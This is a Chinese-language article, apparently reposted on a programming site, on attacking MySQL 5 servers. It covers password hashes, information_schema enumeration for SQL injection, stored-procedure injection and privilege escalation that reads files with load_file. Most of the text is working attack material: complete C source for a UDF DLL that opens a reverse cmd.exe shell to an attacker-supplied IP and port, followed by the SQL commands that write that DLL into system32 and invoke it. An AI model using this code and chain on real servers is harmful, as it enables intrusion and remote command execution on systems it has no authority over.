程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> MYSQL數據庫 >> 關於MYSQL數據庫 >> Hackfing in Mysql5

Hackfing in Mysql5

編輯:關於MYSQL數據庫
Blog:
Team:
Data: 2006-01-29  Mysql5增加很多新的功能,開始支持:存儲過程、觸發器、視圖、信息架構視圖等新特。可以說這些都是發展的必然,但是新的東西的出來,必定也會帶來新的安全問題,如Mysql4開始支持union查詢、子查詢。這直接導致mysql注射更容易、廣泛。mysql5的新功能會給安全帶來什麼新的東西呢?下面我給大家介紹下MySQL5在安全方面的特點:
一、password authenticationmysql5的passWord()和mysql4.1一樣,采用的基於SHA1的41位hash:MySQL> select passWord('mypass');
+-------------------------------------------+
| passWord('mypass')                 |
+-------------------------------------------+
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
+-------------------------------------------+
1 row in set (0.00 sec)在mysql4.1以前的passWord hashes是基於16位md5:MySQL> SELECT PASSWord('mypass');
+--------------------+
| PASSWord('mypass') |
+--------------------+
| 6f8c114b58f2ce9e   |
+--------------------+當使用低版本的Client連接時,回出現錯誤:ClIEnt does not support authentication protocol,為了解決這個問題,mysql5提供了一個old_password(),就相當於mysql4.1以前的的passWord():MySQL> select old_passWord('mypass');
+------------------------+
| old_passWord('mypass') |
+------------------------+
| 6f8c114b58f2ce9e     |
+------------------------+
1 row in set (0.09 sec)二、數據字典(information_schema)和mssql、Oracle、db2等數據庫一樣,MySQL5提供了一個系統數據庫:information_schema
MySQL> use information_schema;
Database changed
MySQL> show tables;
+---------------------------------------+
| Tables_in_information_schema       |
+---------------------------------------+
| CHARACTER_SETS                 |
| COLLATIONS                   |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                     |
| COLUMN_PRIVILEGES               |
| KEY_COLUMN_USAGE               |
| ROUTINES                     |
| SCHEMATA                     |
| SCHEMA_PRIVILEGES               |
| STATISTICS                   |
| TABLES                     |
| TABLE_CONSTRAINTS               |
| TABLE_PRIVILEGES               |
| TRIGGERS                     |
| VIEWS                       |
| USER_PRIVILEGES               |
+---------------------------------------+
16 rows in set (0.17 sec)在這個數據庫裡我們可以得到很多信息,包括當前用戶權限:
MySQL> select * from information_schema.USER_PRIVILEGES;
+-----------+---------------+----------------+--------------+
| GRANTEE   | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |
+-----------+---------------+----------------+--------------+
| 'KK1'@'%' | NULL       | USAGE       | NO       |
+-----------+---------------+----------------+--------------+
1 row in set (0.02 sec)當前用戶權限下可以訪問的數據庫,表,列名(這個在sql注射中,導致直接暴區數據庫,表列名,再也不要‘暴力’咯):MySQL> select TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME from information_schema.STATIS
TICS;
+--------------+------------+-------------+
| TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME |
+--------------+------------+-------------+
| in       | article   | articleid   |
| in       | user     | userid     |
+--------------+------------+-------------+
2 rows in set (0.02 sec)還可以得到當前用戶權限下的VIEWS,ROUTINES等,關於ROUTINES我們在下面的‘存儲過程’裡詳細介紹。[ps:注意是‘當前用戶權限’如果是root,那麼太可以得到所有的數據庫名稱以及表列名等等]
三、存儲過程(Stored Procedures)'存儲過程'的使用是mysql5的一個閃光點,在帶來方便的同時,它也帶來了新的安全隱患:如sql注射,用戶權限提升等等。D:\mysql5\bin>MySQL -uroot -p
Enter passWord: ******
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 4 to server version: 5.0.18Type 'help;' or '\h' for help. Type '\c' to clear the buffer.MySQL> use in
Database changed
MySQL> delimiter //
MySQL> CREATE PROCEDURE test(id INT)
  -> BEGIN
  ->   SELECT * FROM in.USER WHERE USERID=ID;
  -> END//
Query OK, 0 rows affected (0.08 sec)mysql> delimiter ;MySQL> call test(1);
+--------+----------+----------+
| userid | username | passWord |
+--------+----------+----------+
|     1 | angel   | mypass   |
+--------+----------+----------+
1 row in set (0.00 sec)Query OK, 0 rows affected (0.00 sec)上面我們使用root在數據庫in裡創建了一個名為test的存儲過程。a、SQL InjectionMySQL> call test(1 and 1=1);
+--------+----------+----------+
| userid | username | passWord |
+--------+----------+----------+
|     1 | angel   | mypass   |
+--------+----------+----------+
1 row in set (0.00 sec)Query OK, 0 rows affected (0.01 sec)MySQL> call test(1 and 1=2);
Empty set (0.00 sec)Query OK, 0 rows affected (0.00 sec)b、跨權限
存儲過程是繼承創建者的權限的,如果存儲過程是root創建的,當其他普通用戶使用這個存儲過程時,導致跨權限攻擊:MySQL> grant SELECT, INSERT, UPDATE, DELETE, EXECUTE
  -> ON `IN`.*
  -> TO 'KK1'@'%'
  -> IDENTIFIED BY 'OBSCURE';
Query OK, 0 rows affected (0.03 sec)上面建立一個KK1的用戶只在數據庫in中有SELECT, INSERT, UPDATE, DELETE, EXECUTE權限,使用KK1登陸:
D:\mysql5\bin>MySQL -uKK1 -p
Enter passWord: ******
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 5 to server version: 5.0.18Type 'help;' or '\h' for help. Type '\c' to clear the buffer.MySQL> select ROUTINE_SCHEMA,ROUTINE_NAME,DEFINER,ROUTINE_DEFINITION from inform
ation_schema.ROUTINES;
+----------------+--------------+----------------+--------------------+
| ROUTINE_SCHEMA | ROUTINE_NAME | DEFINER     | ROUTINE_DEFINITION |
+----------------+--------------+----------------+--------------------+
| in         | test       | root@localhost |             |
| in         | tt       | root@localhost |             |
+----------------+--------------+----------------+--------------------+
2 rows in set (0.01 sec)我們可以得到KK1可以使用存儲過程in.test 其創建者為root@localhost。不過KK1沒有權限得到ROUTINE_DEFINITION 就是in.test的代碼。下面看看跨權限:MySQL> call in.test(1 and length(load_file('c:/boot.ini'))>0);
+--------+----------+----------+
| userid | username | passWord |
+--------+----------+----------+
|     1 | angel   | mypass   |
+--------+----------+----------+
1 row in set (0.00 sec)Query OK, 0 rows affected (0.01 sec)MySQL> call in.test(1 and length(load_file('c:/boot.ini'))<0);
Empty set (0.00 sec)Query OK, 0 rows affected (0.00 sec)沒有file權限的KK1可以使用in.test使用load_file(),我們還可以直接對mysql.user進行select,如果存儲過程可以updata,insert注射,那麼我們可以普通用戶直接通過注射來修改mysql.user裡的數據。四、User-Defined Function [ps:下面都是基於win系統]MySQL5的udf在格式和安全方面做一些新的改變:
1、格式要求更加嚴格[xxx_init()初始化函數]
對於沒有xxx_init()初始化函數 在以前的版本是可以使用的,但是在mysql5下會出現Can't find function 'xxx_init' in library的錯誤,如:MySQL> create function ExitProcess returns integer soname 'kernel32';
ERROR 1127 (HY000): Can't find function 'ExitProcess_init' in library下面給出的代碼是好友雲舒寫的,符合mysql5的udf格式要求可以在MySQL5下使用:/*******************************************************************************
* File:   MySQL_Shell.cpp
* Author: 雲舒(wustyunshu at hotmail dot com)
* Date:   2005-12-12
*******************************************************************************/
#include <stdio.h>
#include <winsock2.h>
#include <Windows.h> #define MAKE_DLL           /* Build dll here */ #include "MySQL_Shell.h" #pragma comment( lib, "ws2_32" ) #define BUFFER_SIZE   1024 ///////////////////////////////////////////////////////////////////////////////
//函數原型
/////////////////////////////////////////////////////////////////////////////// BOOL StartWith( char *, char * );
void LogMsg( char * ); ///////////////////////////////////////////////////////////////////////////////
//MySQL模塊初始化函數
/////////////////////////////////////////////////////////////////////////////// LIB   my_bool shell_init( UDF_INIT *init, UDF_ARGS *args, char *message )
{
  if ( args->arg_count != 2 )
  {
    strcpy( message, "Shell() requires two arguments" );
    return 1;
  }   if ( (args->arg_type[0] != STRING_RESULT) || (args->arg_type[1] != STRING_RESULT) )
  {
    strcpy( message, "Shell() requires two string arguent" );
    return 1;
  }   return 0;
} ///////////////////////////////////////////////////////////////////////////////
//MySQL模塊主功能函數,反向連接提供shell
/////////////////////////////////////////////////////////////////////////////// LIB int shell( UDF_INIT *init, UDF_ARGS *args, char *is_null, char *error )
{
  SOCKET         sock;
  SOCKADDR_IN     sin;
  int           ret;
 
  // Create socket
  sock = socket( AF_INET, SOCK_STREAM, 0 );
  if ( sock == INVALID_SOCKET )
  {
    strcpy( error, "Create socket error" );     return -1;
  }   sin.sin_family = AF_INET;
  sin.sin_port = htons( atoi(args->args[1]) );
  sin.sin_addr.s_addr = inet_addr( args->args[0] );
 
  //connect to remote server
  ret = connect( sock, (struct sockaddr *)&sin, sizeof(sin) );
  if( ret == SOCKET_ERROR )
  {
    strcpy( error, "Connect error" );     return -1;
  }   SECURITY_ATTRIBUTES   sa;
 
  sa.nLength = sizeof( sa );
  sa.lpSecurityDescriptor = 0;
  sa.bInheritHandle = TRUE;
 
  HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;   ret=CreatePipe( &hReadPipe1, &hWritePipe1, &sa, 0 );
  ret=CreatePipe( &hReadPipe2, &hWritePipe2, &sa, 0 );
     
  STARTUPINFO   si;
  ZeroMemory( &si, sizeof(si) );   GetStartupInfo( &si );
 
  si.cb = sizeof( si );
  si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
  si.wShowWindow = SW_HIDE;
  si.hStdInput = hReadPipe2;
  si.hStdOutput = si.hStdError = hWritePipe1;
 
  PROCESS_INFORMATION   processInfo;
 
  char   cmdLine[] = "cmd.exe";   ZeroMemory( &processInfo , sizeof(PROCESS_INFORMATION) );
  ret = CreateProcess(NULL, cmdLine, NULL,NULL,1,0,NULL,NULL,&si,&processInfo);
 
  char         buff[BUFFER_SIZE] = { 0 };        
  unsigned long   bytesRead = 0;
  int         i = 0;
 
  while( TRUE )
  {
    memset( buff, 0, BUFFER_SIZE );
     
      ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, 0, 0 );
     
      for(i = 0; i < 5 && bytesRead == 0; i++)
    {
        Sleep(100);
        ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, NULL, NULL );
    }
     
      if( bytesRead )
    {
          ret = ReadFile( hReadPipe1, buff, bytesRead, &bytesRead, 0 );
          if( !ret ) break;
 
        ret = send( sock, buff, bytesRead, 0 );
          if( ret <= 0 ) break;
      }
    else
    {
          bytesRead = recv( sock, buff, BUFFER_SIZE, 0 );
         
          if( bytesRead <= 0 ) break;
       
        if( StartWith( buff , "exit" ) == TRUE ) break;           ret = WriteFile( hWritePipe2, buff, bytesRead, &bytesRead, 0 );
          if( !ret ) break;
      }
  }
 
  TerminateProcess( processInfo.hProcess, 0 );   CloseHandle( hReadPipe1 );
  CloseHandle( hReadPipe2 );
  CloseHandle( hWritePipe1 );
  CloseHandle( hWritePipe2 );
 
  closesocket( sock );   return 0;
}   ///////////////////////////////////////////////////////////////////////////////
//判斷字符串是否以另一個字符串開頭
/////////////////////////////////////////////////////////////////////////////// BOOL StartWith( char *buf1, char *buf2 )
{
  int len = strlen(buf2);   if( memcmp( buf1,buf2,len ) == 0 )
  {
    return TRUE;
  }
  return FALSE;
} ///////////////////////////////////////////////////////////////////////////////
//記錄日志信息,調試用
/////////////////////////////////////////////////////////////////////////////// void LogMsg( char *msg )
{
  FILE   *fp;   fp = fopen( "C:\MySQL.txt", "a+" );   fputs( msg, fp );   fclose( fp );
}
/*******************************************************************************
* File:   MySQL_Shell.h
* Author: 雲舒(wustyunshu at hotmail dot com)
* Date:   2005-12-12
*******************************************************************************/ #ifdef MAKE_DLL
  #define LIB extern "C" __declspec(dllexport)
#else
  #define LIB extern "C" __declspec(dllimport)
#endif #define MySQL_ERRMSG_SIZE   512           /* Max buffer size */ typedef char my_bool; enum Item_result
{
  STRING_RESULT,REAL_RESULT,INT_RESULT
}; typedef struct st_udf_args
{
  unsigned int     arg_count;       /* Number of arguments */
  enum Item_result   *arg_type;       /* Pointer to item_results */
  char           **args;           /* Pointer to argument */
  unsigned long     *lengths;         /* Length of string arguments */
  char           *maybe_null;       /* Set to 1 for all maybe_null args */
} UDF_ARGS;
typedef struct st_udf_init
{
  my_bool           maybe_null;       /* 1 if function can return NULL */
  unsigned int     decimals;         /* for real functions */
  unsigned int     max_length;       /* For string functions */
  char           *ptr;           /* free pointer for function data */
  char           const_item;       /* 0 if result is independent of arguments */
} UDF_INIT; LIB   my_bool shell_init( UDF_INIT *, UDF_ARGS *, char * ); LIB int shell( UDF_INIT *, UDF_ARGS *, char *, char * );
2、MySQL5限制了udf對應的文件dll文件只可以放在system32目錄下。
對於一般低權限的系統用戶是沒有對system32目錄寫權限的,在這樣的情況下我們可以使用into dumpfile把dll文件放到system32來突破,具體如下:
mysql> use MySQL;
Database changed
MySQL> create table heige(line blob);
Query OK, 0 rows affected (0.50 sec)MySQL> insert into heige values(load_file('c:/udf.dll'));
Query OK, 1 row affected (0.08 sec)MySQL> select * from heige into dumpfile 'c:/winnt/system32/heige.dll';
Query OK, 1 row affected (0.18 sec)MySQL> create function shell returns integer soname 'heige.dll';
Query OK, 0 rows affected (0.07 sec)mysql> select * from MySQL.func;
+-------+-----+-----------+----------+
| name | ret | dl     | type   |
+-------+-----+-----------+----------+
| shell |   2 | heige.dll | function |
+-------+-----+-----------+----------+
1 row in set (0.00 sec)MySQL> select shell('127.0.0.1','1234');
+---------------------------+
| shell('127.0.0.1','1234') |
+---------------------------+
|               NULL |
+---------------------------+
1 row in set (0.97 sec)五、參考
《MySQL 5.0 Reference Manual》 http://dev.MySQL.com/doc/refman/5.0/en/
《Hackproofing MySQL》       http://www.ngssoftware.com/papers/HackproofingMySQL.pdf
《給MySQL加個自定義函數(Windows平台)》http://www.icylife.Net/yunshu/show.PHP?id=244六、感謝
感謝雲舒、TomyChen、Mix ...所有pst的兄弟們。
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved